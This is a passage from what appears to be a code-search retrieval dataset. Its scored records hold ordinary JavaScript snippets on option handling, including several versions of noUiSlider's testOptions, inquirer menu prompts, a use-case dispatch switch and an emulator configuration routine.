false, t: testTooltips },\n\t\t\t'cssPrefix': { r: false, t: testCssPrefix },\n\t\t\t'cssClasses': { r: false, t: testCssClasses },\n\t\t\t'useRequestAnimationFrame': { r: false, t: testUseRaf }\n\t\t};\n\n\t\tvar defaults = {\n\t\t\t'connect': false,\n\t\t\t'direction': 'ltr',\n\t\t\t'behaviour': 'tap',\n\t\t\t'orientation': 'horizontal',\n\t\t\t'cssPrefix' : 'noUi-',\n\t\t\t'cssClasses': {\n\t\t\t\ttarget: 'target',\n\t\t\t\tbase: 'base',\n\t\t\t\torigin: 'origin',\n\t\t\t\thandle: 'handle',\n\t\t\t\thorizontal: 'horizontal',\n\t\t\t\tvertical: 'vertical',\n\t\t\t\tbackground: 'background',\n\t\t\t\tconnect: 'connect',\n\t\t\t\tltr: 'ltr',\n\t\t\t\trtl: 'rtl',\n\t\t\t\tdraggable: 'draggable',\n\t\t\t\tdrag: 'state-drag',\n\t\t\t\ttap: 'state-tap',\n\t\t\t\tactive: 'active',\n\t\t\t\ttooltip: 'tooltip',\n\t\t\t\tpips: 'pips',\n\t\t\t\tpipsHorizontal: 'pips-horizontal',\n\t\t\t\tpipsVertical: 'pips-vertical',\n\t\t\t\tmarker: 'marker',\n\t\t\t\tmarkerHorizontal: 'marker-horizontal',\n\t\t\t\tmarkerVertical: 'marker-vertical',\n\t\t\t\tmarkerNormal: 'marker-normal',\n\t\t\t\tmarkerLarge: 'marker-large',\n\t\t\t\tmarkerSub: 'marker-sub',\n\t\t\t\tvalue: 'value',\n\t\t\t\tvalueHorizontal: 'value-horizontal',\n\t\t\t\tvalueVertical: 'value-vertical',\n\t\t\t\tvalueNormal: 'value-normal',\n\t\t\t\tvalueLarge: 'value-large',\n\t\t\t\tvalueSub: 'value-sub'\n\t\t\t},\n\t\t\t'useRequestAnimationFrame': true\n\t\t};\n\n\t\t// Run all options through a testing mechanism to ensure correct\n\t\t// input. It should be noted that options might get modified to\n\t\t// be handled properly. E.g. wrapping integers in arrays.\n\t\tObject.keys(tests).forEach(function( name ){\n\n\t\t\t// If the option isn't set, but it is required, throw an error.\n\t\t\tif ( options[name] === undefined && defaults[name] === undefined ) {\n\n\t\t\t\tif ( tests[name].r ) {\n\t\t\t\t\tthrow new Error(\"noUiSlider: '\" + name + \"' is required.\");\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\ttests[name].t( parsed, options[name] === undefined ? defaults[name] : options[name] );\n\t\t});\n\n\t\t// Forward pips options\n\t\tparsed.pips = options.pips;\n\n\t\tvar styles = [['left', 'top'], ['right', 'bottom']];\n\n\t\t// Pre-define the styles.\n\t\tparsed.style = styles[parsed.dir][parsed.ort];\n\t\tparsed.styleOposite = styles[parsed.dir?0:1][parsed.ort];\n\n\t\treturn parsed;\n\t}", "title": "" }, { "docid": "0da24bc67155caaaf7d8a3385a4843d3", "score": "0.5758912", "text": "enactOption() {\r\n switch (this.option) {\r\n case \"View all Employees\":\r\n this.viewAllEmployees();\r\n break;\r\n case \"View Departments\":\r\n this.viewDepartments();\r\n break;\r\n case \"View Roles\":\r\n this.viewRoles();\r\n break;\r\n case \"Add Department\":\r\n this.addDepartment();\r\n break;\r\n case \"Add Employee\":\r\n this.addEmployee();\r\n break;\r\n case \"Add Role\":\r\n this.addRole();\r\n break;\r\n case \"Exit\":\r\n this.connection.end();\r\n break;\r\n }\r\n }", "title": "" }, { "docid": "8a678e89aa787aa5a5f65c378936a9c5", "score": "0.573883", "text": "options (newOptions) {\n this.tearDown()\n this.createAndSubscribe()\n }", "title": "" }, { "docid": "c7e3e50271a346d1de1e3ff850f2d09a", "score": "0.57149255", "text": "function testOptions(options) {\n // To prove a fix for #537, freeze options here.\n // If the object is modified, an error will be thrown.\n // Object.freeze(options);\n\n var parsed = {\n margin: 0,\n limit: 0,\n padding: 0,\n animate: true,\n animationDuration: 300,\n ariaFormat: defaultFormatter,\n format: defaultFormatter\n };\n\n // Tests are executed in the order they are presented here.\n var tests = {\n step: {r: false, t: testStep},\n keyboardPageMultiplier: {r: false, t: testKeyboardPageMultiplier},\n keyboardDefaultStep: {r: false, t: testKeyboardDefaultStep},\n start: {r: true, t: testStart},\n connect: {r: true, t: testConnect},\n direction: {r: true, t: testDirection},\n snap: {r: false, t: testSnap},\n animate: {r: false, t: testAnimate},\n animationDuration: {r: false, t: testAnimationDuration},\n range: {r: true, t: testRange},\n orientation: {r: false, t: testOrientation},\n margin: {r: false, t: testMargin},\n limit: {r: false, t: testLimit},\n padding: {r: false, t: testPadding},\n behaviour: {r: true, t: testBehaviour},\n ariaFormat: {r: false, t: testAriaFormat},\n format: {r: false, t: testFormat},\n tooltips: {r: false, t: testTooltips},\n keyboardSupport: {r: true, t: testKeyboardSupport},\n documentElement: {r: false, t: testDocumentElement},\n cssPrefix: {r: true, t: testCssPrefix},\n cssClasses: {r: true, t: testCssClasses}\n };\n\n var defaults = {\n connect: false,\n direction: \"ltr\",\n behaviour: \"tap\",\n orientation: \"horizontal\",\n keyboardSupport: true,\n cssPrefix: \"noUi-\",\n cssClasses: cssClasses,\n keyboardPageMultiplier: 5,\n keyboardDefaultStep: 10\n };\n\n // AriaFormat defaults to regular format, if any.\n if (options.format && !options.ariaFormat) {\n options.ariaFormat = options.format;\n }\n\n // Run all options through a testing mechanism to ensure correct\n // input. It should be noted that options might get modified to\n // be handled properly. E.g. wrapping integers in arrays.\n Object.keys(tests).forEach(function (name) {\n // If the option isn't set, but it is required, throw an error.\n if (!isSet(options[name]) && defaults[name] === undefined) {\n if (tests[name].r) {\n throw new Error(\"noUiSlider (\" + VERSION + \"): '\" + name + \"' is required.\");\n }\n\n return true;\n }\n\n tests[name].t(parsed, !isSet(options[name]) ? defaults[name] : options[name]);\n });\n\n // Forward pips options\n parsed.pips = options.pips;\n\n // All recent browsers accept unprefixed transform.\n // We need -ms- for IE9 and -webkit- for older Android;\n // Assume use of -webkit- if unprefixed and -ms- are not supported.\n // https://caniuse.com/#feat=transforms2d\n var d = document.createElement(\"div\");\n var msPrefix = d.style.msTransform !== undefined;\n var noPrefix = d.style.transform !== undefined;\n\n parsed.transformRule = noPrefix ? \"transform\" : msPrefix ? \"msTransform\" : \"webkitTransform\";\n\n // Pips don't move, so we can place them using left/top.\n var styles = [[\"left\", \"top\"], [\"right\", \"bottom\"]];\n\n parsed.style = styles[parsed.dir][parsed.ort];\n\n return parsed;\n }", "title": "" }, { "docid": "2f5284493e794bd03d84696641a98f59", "score": "0.57098687", "text": "function ExtraOptions() { }", "title": "" }, { "docid": "2f5284493e794bd03d84696641a98f59", "score": "0.57098687", "text": "function ExtraOptions() { }", "title": "" }, { "docid": "07565ee8b36e4765cf880efe02d2833a", "score": "0.5660727", "text": "function testOptions(options) {\n // To prove a fix for #537, freeze options here.\n // If the object is modified, an error will be thrown.\n // Object.freeze(options);\n\n var parsed = {\n margin: 0,\n limit: 0,\n padding: 0,\n animate: true,\n animationDuration: 300,\n ariaFormat: defaultFormatter,\n format: defaultFormatter\n };\n\n // Tests are executed in the order they are presented here.\n var tests = {\n step: { r: false, t: testStep },\n start: { r: true, t: testStart },\n connect: { r: true, t: testConnect },\n direction: { r: true, t: testDirection },\n snap: { r: false, t: testSnap },\n animate: { r: false, t: testAnimate },\n animationDuration: { r: false, t: testAnimationDuration },\n range: { r: true, t: testRange },\n orientation: { r: false, t: testOrientation },\n margin: { r: false, t: testMargin },\n limit: { r: false, t: testLimit },\n padding: { r: false, t: testPadding },\n behaviour: { r: true, t: testBehaviour },\n ariaFormat: { r: false, t: testAriaFormat },\n format: { r: false, t: testFormat },\n tooltips: { r: false, t: testTooltips },\n keyboardSupport: { r: true, t: testKeyboardSupport },\n documentElement: { r: false, t: testDocumentElement },\n cssPrefix: { r: true, t: testCssPrefix },\n cssClasses: { r: true, t: testCssClasses }\n };\n\n var defaults = {\n connect: false,\n direction: \"ltr\",\n behaviour: \"tap\",\n orientation: \"horizontal\",\n keyboardSupport: true,\n cssPrefix: \"noUi-\",\n cssClasses: {\n target: \"target\",\n base: \"base\",\n origin: \"origin\",\n handle: \"handle\",\n handleLower: \"handle-lower\",\n handleUpper: \"handle-upper\",\n touchArea: \"touch-area\",\n horizontal: \"horizontal\",\n vertical: \"vertical\",\n background: \"background\",\n connect: \"connect\",\n connects: \"connects\",\n ltr: \"ltr\",\n rtl: \"rtl\",\n draggable: \"draggable\",\n drag: \"state-drag\",\n tap: \"state-tap\",\n active: \"active\",\n tooltip: \"tooltip\",\n pips: \"pips\",\n pipsHorizontal: \"pips-horizontal\",\n pipsVertical: \"pips-vertical\",\n marker: \"marker\",\n markerHorizontal: \"marker-horizontal\",\n markerVertical: \"marker-vertical\",\n markerNormal: \"marker-normal\",\n markerLarge: \"marker-large\",\n markerSub: \"marker-sub\",\n value: \"value\",\n valueHorizontal: \"value-horizontal\",\n valueVertical: \"value-vertical\",\n valueNormal: \"value-normal\",\n valueLarge: \"value-large\",\n valueSub: \"value-sub\"\n }\n };\n\n // AriaFormat defaults to regular format, if any.\n if (options.format && !options.ariaFormat) {\n options.ariaFormat = options.format;\n }\n\n // Run all options through a testing mechanism to ensure correct\n // input. It should be noted that options might get modified to\n // be handled properly. E.g. wrapping integers in arrays.\n Object.keys(tests).forEach(function (name) {\n // If the option isn't set, but it is required, throw an error.\n if (!isSet(options[name]) && defaults[name] === undefined) {\n if (tests[name].r) {\n throw new Error(\"noUiSlider (\" + VERSION + \"): '\" + name + \"' is required.\");\n }\n\n return true;\n }\n\n tests[name].t(parsed, !isSet(options[name]) ? defaults[name] : options[name]);\n });\n\n // Forward pips options\n parsed.pips = options.pips;\n\n // All recent browsers accept unprefixed transform.\n // We need -ms- for IE9 and -webkit- for older Android;\n // Assume use of -webkit- if unprefixed and -ms- are not supported.\n // https://caniuse.com/#feat=transforms2d\n var d = document.createElement(\"div\");\n var msPrefix = d.style.msTransform !== undefined;\n var noPrefix = d.style.transform !== undefined;\n\n parsed.transformRule = noPrefix ? \"transform\" : msPrefix ? \"msTransform\" : \"webkitTransform\";\n\n // Pips don't move, so we can place them using left/top.\n var styles = [[\"left\", \"top\"], [\"right\", \"bottom\"]];\n\n parsed.style = styles[parsed.dir][parsed.ort];\n\n return parsed;\n }", "title": "" }, { "docid": "cc36f9581c332e0e308998666ac06948", "score": "0.565779", "text": "function createUseCaseOptionMenu(step) {\n\tswitch (step.useCase.name) {\n\tcase \"Amelia\":\n\t\tcreateAmeliaUseCaseOptions(step);\n\t\tbreak;\n\tcase \"ProcureToPayPO\":\n\t\tProcureToPayPO(step);\n\t\tbreak;\n\tcase \"QuoteToCashPO\":\n\t\tQuoteToCashPO(step);\n\t\tbreak;\n\tcase \"ITDesignToBuildPO\":\n\t\tITDesignToBuildPO(step);\n\t\tbreak;\n\tcase \"TalentPlanningAcquisitionPO\":\n\t\tTalentPlanningAcquisitionPO(step);\n\t\tbreak;\n\tcase \"HireToRetirePO\":\n\t\tHireToRetirePO(step);\n\t\tbreak;\n\tcase \"PlanToForecastPO\":\n\t\tPlanToForecastPO(step);\n\t\tbreak;\n\tcase \"RecordToReportPO\":\n\t\tRecordToReportPO(step);\n\t\tbreak;\n\tcase \"ProcureToPay6\":\n\t\tProcureToPay6(step);\n\t\tbreak;\n\tcase \"ProcureToPay7\":\n\t\tProcureToPay7(step);\n\t\tbreak;\n\tcase \"ProcureToPay41\":\n\t\tProcureToPay41(step);\n\t\tbreak;\n\tcase \"ProcureToPay511U\":\n\t\tProcureToPay511U(step);\n\t\tbreak;\n\tcase \"ProcureToPay52U\":\n\t\tProcureToPay52U(step);\n\t\tbreak;\n\tcase \"PlanToForecast2\":\n\t\tPlanToForecast2(step);\n\t\tbreak;\n\tcase \"PlanToForecast22U\":\n\t\tPlanToForecast22U(step);\n\t\tbreak;\n\tcase \"PlanToForecast5\":\n\t\tPlanToForecast5(step);\n\t\tbreak;\n\tcase \"PlanToDelivery12\":\n\t\tPlanToDelivery12(step);\n\t\tbreak;\n\tcase \"PlanToDelivery21\":\n\t\tPlanToDelivery21(step);\n\t\tbreak;\n\tcase \"PlanToDelivery32\":\n\t\tPlanToDelivery32(step);\n\t\tbreak;\n\tcase \"PlanToDelivery72\":\n\t\tPlanToDelivery72(step);\n\t\tbreak;\n\tcase \"ITStrategyToArchitecture2U\":\n\t\tITStrategyToArchitecture2U(step);\n\t\tbreak;\n\tcase \"QuoteToCash42U\":\n\t\tQuoteToCash42U(step);\n\t\tbreak;\n\tcase \"QuoteToCash51U\":\n\t\tQuoteToCash51U(step);\n\t\tbreak;\n\tcase \"QuoteToCash6U\":\n\t\tQuoteToCash6U(step);\n\t\tbreak;\n\tcase \"QuoteToCash72U\":\n\t\tQuoteToCash72U(step);\n\t\tbreak;\n\tcase \"QuoteToCash2U\":\n\t\tQuoteToCash2U(step);\n\t\tbreak;\n\tcase \"QuoteToCash1\":\n\t\tQuoteToCash1(step);\n\t\tbreak;\n\tcase \"ItTransitionToOperationCI31U\":\n\t\tItTransitionToOperationCI31U(step);\n\t\tbreak;\n\tcase \"ItTransitionToOperationCI2UAmelia\":\n\t\tItTransitionToOperationCI2UAmelia(step);\n\t\tbreak;\n\tcase \"ItTransitionToOperationCI2U\":\n\t\tItTransitionToOperationCI2U(step);\n\t\tbreak;\n\tcase \"ItTransitionToOperationCI4\":\n\t\tItTransitionToOperationCI4(step);\n\t\tbreak;\n\tcase \"NewProductDevelopment31\":\n\t\tNewProductDevelopment31(step);\n\t\tbreak;\n\tcase \"ProductLineManagement2\":\n\t\tProductLineManagement2(step);\n\t\tbreak;\n\tcase \"ProductLineManagement4U\":\n\t\tProductLineManagement4U(step);\n\t\tbreak;\n\tcase \"ProductLineManagement6U\":\n\t\tProductLineManagement6U(step);\n\t\tbreak;\n\tcase \"ProductLineManagement42\":\n\t\tProductLineManagement42(step);\n\t\tbreak;\n\tcase \"RecordToReport6\":\n\t\tRecordToReport6(step);\n\t\tbreak;\n\tcase \"RecordToReport21U\":\n\t\tRecordToReport21U(step);\n\t\tbreak;\n\tcase \"RecordToReport3U\":\n\t\tRecordToReport3U(step);\n\t\tbreak;\n\tcase \"RecordToReport5U\":\n\t\tRecordToReport5U(step);\n\t\tbreak;\n\tcase \"RecordToReport7U\":\n\t\tRecordToReport7U(step);\n\t\tbreak;\n\tcase \"RecordToReport8\":\n\t\tRecordToReport8(step);\n\t\tbreak;\n\tcase \"RecordToReport31\":\n\t\tRecordToReport31(step);\n\t\tbreak;\n\tcase \"ProcureToPay22B\":\n\t\tProcureToPay22B(step);\n\t\tbreak;\n\tcase \"ProcureToPay5B\":\n\t\tProcureToPay5B(step);\n\t\tbreak;\n\tcase \"ProcureToPay31B\":\n\t\tProcureToPay31B(step);\n\t\tbreak;\n\tcase \"ProcureToPay11B\":\n\t\tProcureToPay11B(step);\n\t\tbreak;\n\tcase \"QuoteToCash21B\":\n\t\tQuoteToCash21B(step);\n\t\tbreak;\n\tcase \"QuoteToCash42B\":\n\t\tQuoteToCash42B(step);\n\t\tbreak;\n\tcase \"QuoteToCash31B\":\n\t\tQuoteToCash31B(step);\n\t\tbreak;\n\tcase \"QuoteToCash51U2\":\n\t\tQuoteToCash51U2(step);\n\t\tbreak;\n\tcase \"ItTransitionToOperationCI3B\":\n\t\tItTransitionToOperationCI3B(step);\n\t\tbreak;\n\tcase \"ItTransitionToOperationCI42B\":\n\t\tItTransitionToOperationCI42B(step);\n\t\tbreak;\n\tcase \"ITStrategyToArchitecture21B\":\n\t\tITStrategyToArchitecture21B(step);\n\t\tbreak;\n\tcase \"ItTransitionToOperationCI21\":\n\t\tItTransitionToOperationCI21(step);\n\t\tbreak;\n\tcase \"AssetAcquireToRetire41B\":\n\t\tAssetAcquireToRetire41B(step);\n\t\tbreak;\n\tcase \"AssetAcquireToRetire21B\":\n\t\tAssetAcquireToRetire21B(step);\n\t\tbreak;\n\tcase \"HireToRetire41B\":\n\t\tHireToRetire41B(step);\n\t\tbreak;\n\tcase \"HireToRetire71B\":\n\t\tHireToRetire71B(step);\n\t\tbreak;\n\tcase \"NewProductDevelopment21B\":\n\t\tNewProductDevelopment21B(step);\n\t\tbreak;\n\tcase \"InnovateToCommercialization21B\":\n\t\tInnovateToCommercialization21B(step);\n\t\tbreak;\n\tcase \"InnovateToCommercialization31B\":\n\t\tInnovateToCommercialization31B(step);\n\t\tbreak;\n\tcase \"InnovateToCommercialization32B\":\n\t\tInnovateToCommercialization32B(step);\n\t\tbreak;\n\tcase \"ProductLineManagement31\":\n\t\tProductLineManagement31(step);\n\t\tbreak;\n\tcase \"PlanToForecast71B\":\n\t\tPlanToForecast71B(step);\n\t\tbreak;\n\tcase \"RecordToReport52B\":\n\t\tRecordToReport52B(step);\n\t\tbreak;\n\tcase \"RecordToReport62B\":\n\t\tRecordToReport62B(step);\n\t\tbreak;\n\tcase \"PlanToDelivery21B\":\n\t\tPlanToDelivery21B(step);\n\t\tbreak;\n\tcase \"PlanToDelivery61B\":\n\t\tPlanToDelivery61B(step);\n\t\tbreak;\n\tcase \"PlanToDelivery11B\":\n\t\tPlanToDelivery11B(step);\n\t\tbreak;\n\tcase \"PlanToDelivery7B\":\n\t\tPlanToDelivery7B(step);\n\t\tbreak;\n\tcase \"PlanToDelivery6B\":\n\t\tPlanToDelivery6B(step);\n\t\tbreak;\n\tcase \"PlanToDelivery13B\":\n\t\tPlanToDelivery13B(step);\n\t\tbreak;\n\tcase \"PlanToDelivery14B\":\n\t\tPlanToDelivery14B(step);\n\t\tbreak;\n\tcase \"ProductLineManagement31B\":\n\t\tProductLineManagement31B(step);\n\t\tbreak;\n\tcase \"ITDesignToBuildModel4\":\n\t\tITDesignToBuildModel4(step);\n\t\tbreak;\n\n\t\t}\n}", "title": "" }, { "docid": "3a548c18c37790779520fc9b5fe8cb31", "score": "0.5637936", "text": "function testOptions ( options ) {\n\n\t\tvar parsed = {\n\t\t\tmargin: 0,\n\t\t\tlimit: 0,\n\t\t\tanimate: true,\n\t\t\tformat: defaultFormatter\n\t\t}, tests;\n\n\t\t// Tests are executed in the order they are presented here.\n\t\ttests = {\n\t\t\t'step': { r: false, t: testStep },\n\t\t\t'start': { r: true, t: testStart },\n\t\t\t'connect': { r: true, t: testConnect },\n\t\t\t'direction': { r: true, t: testDirection },\n\t\t\t'snap': { r: false, t: testSnap },\n\t\t\t'animate': { r: false, t: testAnimate },\n\t\t\t'range': { r: true, t: testRange },\n\t\t\t'orientation': { r: false, t: testOrientation },\n\t\t\t'margin': { r: false, t: testMargin },\n\t\t\t'limit': { r: false, t: testLimit },\n\t\t\t'behaviour': { r: true, t: testBehaviour },\n\t\t\t'format': { r: false, t: testFormat },\n\t\t\t'tooltips': { r: false, t: testTooltips },\n\t\t\t'cssPrefix': { r: false, t: testCssPrefix }\n\t\t};\n\n\t\tvar defaults = {\n\t\t\t'connect': false,\n\t\t\t'direction': 'ltr',\n\t\t\t'behaviour': 'tap',\n\t\t\t'orientation': 'horizontal'\n\t\t};\n\n\t\t// Set defaults where applicable.\n\t\tObject.keys(defaults).forEach(function ( name ) {\n\t\t\tif ( options[name] === undefined ) {\n\t\t\t\toptions[name] = defaults[name];\n\t\t\t}\n\t\t});\n\n\t\t// Run all options through a testing mechanism to ensure correct\n\t\t// input. It should be noted that options might get modified to\n\t\t// be handled properly. E.g. wrapping integers in arrays.\n\t\tObject.keys(tests).forEach(function( name ){\n\n\t\t\tvar test = tests[name];\n\n\t\t\t// If the option isn't set, but it is required, throw an error.\n\t\t\tif ( options[name] === undefined ) {\n\n\t\t\t\tif ( test.r ) {\n\t\t\t\t\tthrow new Error(\"noUiSlider: '\" + name + \"' is required.\");\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\ttest.t( parsed, options[name] );\n\t\t});\n\n\t\t// Forward pips options\n\t\tparsed.pips = options.pips;\n\n\t\t// Pre-define the styles.\n\t\tparsed.style = parsed.ort ? 'top' : 'left';\n\n\t\treturn parsed;\n\t}", "title": "" }, { "docid": "659dbaebf68fb34056358167751b3633", "score": "0.5636528", "text": "function test_osp_flavors_can_be_selected_creating_migration_plan() {}", "title": "" }, { "docid": "4cb503232468fd63d35ddffdf9f428bb", "score": "0.5634212", "text": "function supervisorOptions(){\n\t//clear Timer\n\tclearTimeout(delayTimer);\n\n\tinquirer.prompt([{\n\n\t\tname: \"option\",\n\t\ttype: \"list\",\n\t\tmessage: \"What would you like to do?\",\n\t\tchoices: [\"View Product Sales by Department\", \"Create New Department\"]\n\t\t\n\t\n\t}]).then(function(answer){\n\t\tif(answer.option === \"View Product Sales by Department\"){\n\n\t\t\tgetProfit();\n\n\n\t\t}else if(answer.option === \"Create New Department\"){\n\n\t\t\tnewDept();\n\t\t}\n\t\n\n});\n}", "title": "" }, { "docid": "c4a89a47830070480ab8c6f13d97c741", "score": "0.563362", "text": "function configureOptions() {\n\n // lowest priority: the default values\n var opt_screenSize = '1.00', // '1.00', '1.25', etc\n opt_charGen = 'standard', // 'standard', 'lower'\n opt_soundware = 'disabled', // 'enabled', 'disabled'\n opt_romVersion = 'v6.78', // 'v6.78' or 'v8.79'\n opt_vkSize = 'none', // 'none', 'small', 'medium', 'large'\n opt_vkLayout = 'deluxe'; // 'basic', 'enhanced', 'deluxe'\n\n $('#regulate_cb').prop('checked', true);\n\n $('#filesel').val('prompt');\n for (var i = 0; i < numFloppies; i++) {\n $('#disksel' + i).val('prompt');\n }\n\n // medium priority: saved preferences\n var pref_screenSize = store.get('screenSize'),\n pref_charGen = store.get('charGenerator'),\n pref_romVersion = store.get('romVersion'),\n pref_soundware = store.get('soundware'),\n pref_vkSize = store.get('vkSize'),\n pref_vkLayout = store.get('vkLayout');\n\n opt_screenSize = pref_screenSize || opt_screenSize;\n opt_romVersion = pref_romVersion || opt_romVersion;\n opt_charGen = pref_charGen || opt_charGen;\n opt_soundware = pref_soundware || opt_soundware;\n opt_vkSize = pref_vkSize || opt_vkSize;\n opt_vkLayout = pref_vkLayout || opt_vkLayout;\n\n // highest priority: URL parameters\n var url_romVersion = getParameterByName('rom');\n if ((url_romVersion === 'v6.78') || (url_romVersion === 'v8.79')) {\n opt_romVersion = url_romVersion;\n } else if (url_romVersion !== '') {\n alert('Bad ROM version specified; using v6.78');\n opt_romVersion = 'v6.78';\n }\n\n // enact configuration options\n setScreenSize(opt_screenSize);\n $('#ssizesel').val(opt_screenSize);\n\n setROMVersion(opt_romVersion);\n\n var chset_idx = {'standard': 0, 'lower': 1}[opt_charGen];\n setCharacterset(chset_idx);\n $('#chsetsel').val(opt_charGen);\n\n var soundware_enabled = (opt_soundware === 'enabled');\n $('#soundware_cb').prop('checked', soundware_enabled);\n audio.enable(soundware_enabled);\n\n $('#vksize').val(opt_vkSize);\n\n buildVirtualKeyboard(opt_vkLayout);\n $('#vksel').val(opt_vkLayout);\n virtualKeyboardResize(); // needed to ensure consistent size\n\n // apply other URL parameters\n var url_cd0 = getParameterByName('cd0');\n var url_cd1 = getParameterByName('cd1');\n var url_auto = getParameterByName('auto');\n\n if (url_cd0 && url_cd0.match(/\\.ccvf$/)) {\n diskRemoteFile(0, '../vmedia/' + url_cd0);\n }\n if (url_cd1 && url_cd1.match(/\\.ccvf$/)) {\n diskRemoteFile(1, '../vmedia/' + url_cd1);\n }\n\n if (url_auto === '1') {\n scheduler.oneShot( Math.floor(3.0*CPU_FREQ),\n function () { keybrd.virtualKey({ key: 'auto' }); },\n 'autotimer');\n }\n }", "title": "" }, { "docid": "9235a053aea1e51e799f1a2260bcebfd", "score": "0.56147444", "text": "function testOptions ( options ) {\n\n\t\tvar parsed = {\n\t\t\tmargin: 0,\n\t\t\tlimit: 0,\n\t\t\tanimate: true,\n\t\t\tformat: defaultFormatter\n\t\t}, tests;\n\n\t\t// Tests are executed in the order they are presented here.\n\t\ttests = {\n\t\t\t'step': { r: false, t: testStep },\n\t\t\t'start': { r: true, t: testStart },\n\t\t\t'connect': { r: true, t: testConnect },\n\t\t\t'direction': { r: true, t: testDirection },\n\t\t\t'snap': { r: false, t: testSnap },\n\t\t\t'animate': { r: false, t: testAnimate },\n\t\t\t'range': { r: true, t: testRange },\n\t\t\t'orientation': { r: false, t: testOrientation },\n\t\t\t'margin': { r: false, t: testMargin },\n\t\t\t'limit': { r: false, t: testLimit },\n\t\t\t'behaviour': { r: true, t: testBehaviour },\n\t\t\t'format': { r: false, t: testFormat }\n\t\t};\n\n\t\tvar defaults = {\n\t\t\t'connect': false,\n\t\t\t'direction': 'ltr',\n\t\t\t'behaviour': 'tap',\n\t\t\t'orientation': 'horizontal'\n\t\t};\n\n\t\t// Set defaults where applicable.\n\t\tObject.keys(defaults).forEach((function ( name ) {\n\t\t\tif ( options[name] === undefined ) {\n\t\t\t\toptions[name] = defaults[name];\n\t\t\t}\n\t\t}));\n\n\t\t// Run all options through a testing mechanism to ensure correct\n\t\t// input. It should be noted that options might get modified to\n\t\t// be handled properly. E.g. wrapping integers in arrays.\n\t\tObject.keys(tests).forEach((function( name ){\n\n\t\t\tvar test = tests[name];\n\n\t\t\t// If the option isn't set, but it is required, throw an error.\n\t\t\tif ( options[name] === undefined ) {\n\n\t\t\t\tif ( test.r ) {\n\t\t\t\t\tthrow new Error(\"noUiSlider: '\" + name + \"' is required.\");\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\ttest.t( parsed, options[name] );\n\t\t}));\n\n\t\t// Forward pips options\n\t\tparsed.pips = options.pips;\n\n\t\t// Pre-define the styles.\n\t\tparsed.style = parsed.ort ? 'top' : 'left';\n\n\t\treturn parsed;\n\t}", "title": "" }, { "docid": "a7d93e7a3f6c83a8ba5238059c3fa316", "score": "0.5608171", "text": "function testOptions ( options ) {\n\n\t\tvar parsed = {\n\t\t\tmargin: 0,\n\t\t\tlimit: 0,\n\t\t\tanimate: true,\n\t\t\tformat: defaultFormatter\n\t\t}, tests;\n\n\t\t// Tests are executed in the order they are presented here.\n\t\ttests = {\n\t\t\t'step': { r: false, t: testStep },\n\t\t\t'start': { r: true, t: testStart },\n\t\t\t'connect': { r: true, t: testConnect },\n\t\t\t'direction': { r: true, t: testDirection },\n\t\t\t'snap': { r: false, t: testSnap },\n\t\t\t'animate': { r: false, t: testAnimate },\n\t\t\t'range': { r: true, t: testRange },\n\t\t\t'orientation': { r: false, t: testOrientation },\n\t\t\t'margin': { r: false, t: testMargin },\n\t\t\t'limit': { r: false, t: testLimit },\n\t\t\t'behaviour': { r: true, t: testBehaviour },\n\t\t\t'format': { r: false, t: testFormat }\n\t\t};\n\n\t\tvar defaults = {\n\t\t\t'connect': false,\n\t\t\t'direction': 'ltr',\n\t\t\t'behaviour': 'tap',\n\t\t\t'orientation': 'horizontal'\n\t\t};\n\n\t\t// Set defaults where applicable.\n\t\tObject.keys(defaults).forEach(function ( name ) {\n\t\t\tif ( options[name] === undefined ) {\n\t\t\t\toptions[name] = defaults[name];\n\t\t\t}\n\t\t});\n\n\t\t// Run all options through a testing mechanism to ensure correct\n\t\t// input. It should be noted that options might get modified to\n\t\t// be handled properly. E.g. wrapping integers in arrays.\n\t\tObject.keys(tests).forEach(function( name ){\n\n\t\t\tvar test = tests[name];\n\n\t\t\t// If the option isn't set, but it is required, throw an error.\n\t\t\tif ( options[name] === undefined ) {\n\n\t\t\t\tif ( test.r ) {\n\t\t\t\t\tthrow new Error(\"noUiSlider: '\" + name + \"' is required.\");\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\ttest.t( parsed, options[name] );\n\t\t});\n\n\t\t// Forward pips options\n\t\tparsed.pips = options.pips;\n\n\t\t// Pre-define the styles.\n\t\tparsed.style = parsed.ort ? 'top' : 'left';\n\n\t\treturn parsed;\n\t}", "title": "" }, { "docid": "60806a45cfccd406c49c47a2aa2c2299", "score": "0.5583064", "text": "function _options() {\n PilotSiteSideService.fn.options({currentPackage: itConfig.get().CURRENT_PACKAGE});\n }", "title": "" }, { "docid": "e1c15239946f2e9ce3fbe1d176e8ed06", "score": "0.55307895", "text": "function ThroneTestSupport() {\n}", "title": "" }, { "docid": "c7ac4aba91504e0a851738c6717ad2b7", "score": "0.55204624", "text": "getOptions() {\n let {Command} = require('commander');\n let testOptions = this.defaultOptions();\n let commandLine =\n new Command(process.argv[0] + ' ' + process.argv[1]);\n\n Object.keys(testOptions).forEach((prop) => {\n commandLine[prop] = testOptions[prop];\n });\n\n commandLine.option('-?, --help', 'Show this help text', () => {\n commandLine.help();\n }).usage('[options] [files]')\n\n // Selected mocha options supported.\n commandLine.option('-g, --grep <pattern>', 'only run tests matching <pattern>').\n option('-i, --invert', 'inverts --grep matches').\n option('-b, --bail', 'bail after first test failure');\n\n commandLine.command('only <file> [files...]').\n description('only test these [files] ').action(\n (file, files) => {\n commandLine.patterns = [file];\n if (files)\n commandLine.patterns = commandLine.patterns.concat(files);\n });\n\n commandLine.parse(process.argv);\n\n return commandLine;\n }", "title": "" }, { "docid": "828559d6322179a7e7208b83320632b6", "score": "0.5497821", "text": "function managerOptions() {\n\tinquirer.prompt({\n \tname: \"options\",\n \ttype: \"list\",\n \tmessage: \"Select an option:\",\n \tchoices:[\"View Products for Sale\",\n \t\t\t\"View Low Inventory\",\n \t\t\t\"Add to Inventory\",\n \t\t\t\"Add New Product\",\n \t\t\t\"Exit\"]\n\t}).then(function(answer) {\n\t\tswitch (answer.options) {\n\n\t\t\tcase \"View Products for Sale\":\n\t\t\tshowInventory();\n\t\t\tbreak;\n\n\t\t\tcase \"View Low Inventory\":\n\t\t\tshowLowInventory();\n\t\t\tbreak;\n\n\t\t\tcase \"Add to Inventory\":\n\t\t\taddInventory();\n\t\t\tbreak;\n\n\t\t\tcase \"Add New 